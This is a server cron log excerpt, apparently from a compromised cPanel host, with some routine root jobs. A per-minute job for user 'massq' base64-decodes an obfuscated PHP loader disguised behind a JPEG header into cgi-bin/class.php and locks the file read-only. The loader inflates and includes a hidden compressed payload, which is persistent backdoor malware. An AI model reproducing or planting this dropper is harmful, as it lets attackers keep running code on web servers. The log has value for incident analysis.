Nov 10 10:15:01 server CROND[28648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:15:01 server CROND[28651]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:15:01 server CROND[28650]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:16:01 server CROND[29630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:17:01 server CROND[30446]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:18:01 server CROND[31421]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:19:02 server CROND[32189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:20:01 server CROND[32627]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 10:20:01 server CROND[32628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:20:01 server CROND[32629]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:20:01 server CROND[32631]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 10:20:01 server CROND[32630]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:21:01 server CROND[1177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:22:01 server CROND[1940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:23:01 server CROND[2575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:24:01 server CROND[3366]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:25:01 server CROND[4199]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:25:01 server CROND[4200]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 10:25:01 server CROND[4201]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:25:01 server CROND[4204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 10:26:01 server CROND[5189]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 10:27:01 server CROND[6028]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 10:27:01 server CROND[6029]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
